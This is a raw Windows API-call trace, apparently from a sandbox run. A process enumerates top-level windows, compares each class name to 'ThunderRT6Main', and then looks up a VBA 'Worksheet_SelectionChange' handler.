	[0068.729] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.729] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145
	[0068.729] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10198
	[0068.729] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="trendswindow") returned 12
	[0068.729] lstrcmpA (lpString1="trendswindow", lpString2="ThunderRT6Main") returned 1
	[0068.729] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0068.729] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a
	[0068.729] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.729] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0068.730] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194
	[0068.730] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Asin_intelligence_cls") returned 21
	[0068.730] lstrcmpA (lpString1="Asin_intelligence_cls", lpString2="ThunderRT6Main") returned -1
	[0068.730] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0068.730] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196
	[0068.730] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.730] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0068.730] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190
	[0068.730] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="pulseagainstwin") returned 15
	[0068.730] lstrcmpA (lpString1="pulseagainstwin", lpString2="ThunderRT6Main") returned -1
	[0068.730] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0068.730] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192
	[0068.730] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.730] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0068.730] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c
	[0068.730] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Mint_wnd") returned 8
	[0068.730] lstrcmpA (lpString1="Mint_wnd", lpString2="ThunderRT6Main") returned -1
	[0068.730] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0068.730] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e
	[0068.731] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.731] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0068.731] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188
	[0068.731] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Spokewin") returned 8
	[0068.731] lstrcmpA (lpString1="Spokewin", lpString2="ThunderRT6Main") returned -1
	[0068.731] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0068.731] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a
	[0068.731] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.731] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0068.731] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184
	[0068.731] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Colored_app") returned 11
	[0068.731] lstrcmpA (lpString1="Colored_app", lpString2="ThunderRT6Main") returned -1
	[0068.731] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0068.731] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186
	[0068.731] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.731] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0068.731] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180
	[0068.731] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Showtimeswnd") returned 12
	[0068.731] lstrcmpA (lpString1="Showtimeswnd", lpString2="ThunderRT6Main") returned -1
	[0068.731] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0068.731] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x20182
	[0068.731] GetClassNameA (in: hWnd=0x20182, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.731] GetWindowThreadProcessId (in: hWnd=0x20182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0068.731] GetWindow (hWnd=0x20182, uCmd=0x2) returned 0x1017c
	[0068.731] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="architectural_Sweden_utils_win") returned 30
	[0068.731] lstrcmpA (lpString1="architectural_Sweden_utils_win", lpString2="ThunderRT6Main") returned -1
	[0068.731] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0068.731] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e
	[0068.731] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.731] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.731] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0068.731] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178
	[0068.731] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Freeze_Danish_Tropical_win") returned 26
	[0068.731] lstrcmpA (lpString1="Freeze_Danish_Tropical_win", lpString2="ThunderRT6Main") returned -1
	[0068.732] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0068.732] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a
	[0068.732] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.732] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0068.732] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174
	[0068.732] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="goat_chrome_wnd") returned 15
	[0068.732] lstrcmpA (lpString1="goat_chrome_wnd", lpString2="ThunderRT6Main") returned -1
	[0068.732] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0068.732] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176
	[0068.732] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.732] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0068.732] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170
	[0068.732] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="arabiccls") returned 9
	[0068.732] lstrcmpA (lpString1="arabiccls", lpString2="ThunderRT6Main") returned -1
	[0068.732] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0068.732] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172
	[0068.732] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.732] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0068.732] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c
	[0068.732] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="workedwindow") returned 12
	[0068.732] lstrcmpA (lpString1="workedwindow", lpString2="ThunderRT6Main") returned 1
	[0068.732] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0068.732] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e
	[0068.732] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.732] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.732] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x1c4
	[0068.732] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10166
	[0068.732] GetClassNameA (in: hWnd=0x10166, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="fibre_class") returned 11
	[0068.732] lstrcmpA (lpString1="fibre_class", lpString2="ThunderRT6Main") returned -1
	[0068.732] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0068.732] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
	[0068.732] GetClassNameA (in: hWnd=0x10168, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.733] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.733] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c
	[0068.733] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
	[0068.733] GetClassNameA (in: hWnd=0x10162, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ImaginationbrotherFarmers") returned 25
	[0068.733] lstrcmpA (lpString1="ImaginationbrotherFarmers", lpString2="ThunderRT6Main") returned -1
	[0068.733] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0068.733] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
	[0068.733] GetClassNameA (in: hWnd=0x10164, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.733] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.733] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x68c
	[0068.733] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
	[0068.733] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="SloveniamsgidCommanderwindow") returned 28
	[0068.733] lstrcmpA (lpString1="SloveniamsgidCommanderwindow", lpString2="ThunderRT6Main") returned -1
	[0068.733] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0068.733] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
	[0068.733] GetClassNameA (in: hWnd=0x10160, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.733] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.733] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x620
	[0068.733] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10158
	[0068.733] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="specifiedwnd") returned 12
	[0068.733] lstrcmpA (lpString1="specifiedwnd", lpString2="ThunderRT6Main") returned -1
	[0068.733] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0068.733] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x1015a
	[0068.733] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.733] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.733] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250
	[0068.733] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x90154
	[0068.733] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="habitsSciencesgates") returned 19
	[0068.733] lstrcmpA (lpString1="habitsSciencesgates", lpString2="ThunderRT6Main") returned -1
	[0068.733] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0068.733] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x10156
	[0068.733] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.733] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.733] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x670
	[0068.733] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x50118
	[0068.733] GetClassNameA (in: hWnd=0x50118, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="rarely_Pleasure_Museum_") returned 23
	[0068.733] lstrcmpA (lpString1="rarely_Pleasure_Museum_", lpString2="ThunderRT6Main") returned -1
	[0068.733] GetWindowThreadProcessId (in: hWnd=0x50118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0068.734] GetWindow (hWnd=0x50118, uCmd=0x2) returned 0x3010e
	[0068.734] GetClassNameA (in: hWnd=0x3010e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.734] GetWindowThreadProcessId (in: hWnd=0x3010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x64
	[0068.734] GetWindow (hWnd=0x3010e, uCmd=0x2) returned 0x20116
	[0068.734] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
	[0068.734] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
	[0068.734] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0068.734] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a
	[0068.734] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
	[0068.734] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
	[0068.734] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0068.734] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148
	[0068.734] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
	[0068.734] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
	[0068.734] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0068.734] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e
	[0068.734] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
	[0068.734] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
	[0068.734] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0068.734] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132
	[0068.734] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
	[0068.734] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
	[0068.734] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0068.734] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134
	[0068.734] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.734] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0
	[0068.734] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a
	[0068.734] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20
	[0068.734] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1
	[0068.734] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0068.734] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c
	[0068.734] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.734] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.734] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0068.735] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120
	[0068.735] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
	[0068.735] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
	[0068.735] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0068.735] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122
	[0068.735] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.735] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.735] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0068.735] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e
	[0068.735] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0068.735] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0068.735] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4
	[0068.735] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0
	[0068.735] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.735] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.735] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.735] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae
	[0068.735] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
	[0068.735] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
	[0068.735] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.735] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0
	[0068.735] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
	[0068.735] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
	[0068.735] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.735] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4
	[0068.735] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.735] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.735] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.735] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc
	[0068.735] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.735] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.735] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.735] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca
	[0068.735] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0068.735] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0068.736] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.736] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0
	[0068.736] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
	[0068.736] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
	[0068.736] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0068.736] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018
	[0068.736] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8
	[0068.736] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1
	[0068.736] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0068.736] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a
	[0068.736] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.736] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c
	[0068.736] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c
	[0068.736] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22
	[0068.736] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1
	[0068.736] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0068.736] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016
	[0068.736] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.736] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c
	[0068.736] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2
	[0068.736] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21
	[0068.736] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1
	[0068.736] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0068.736] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108
	[0068.736] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.736] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.736] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4
	[0068.736] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106
	[0068.736] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0068.736] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0068.736] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588
	[0068.737] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28b950, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0068.737] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0068.737] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0071.836] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4e0000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x4e0000035b) returned 0x0
	[0071.837] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0071.837] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0071.837] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0071.837] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0071.838] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
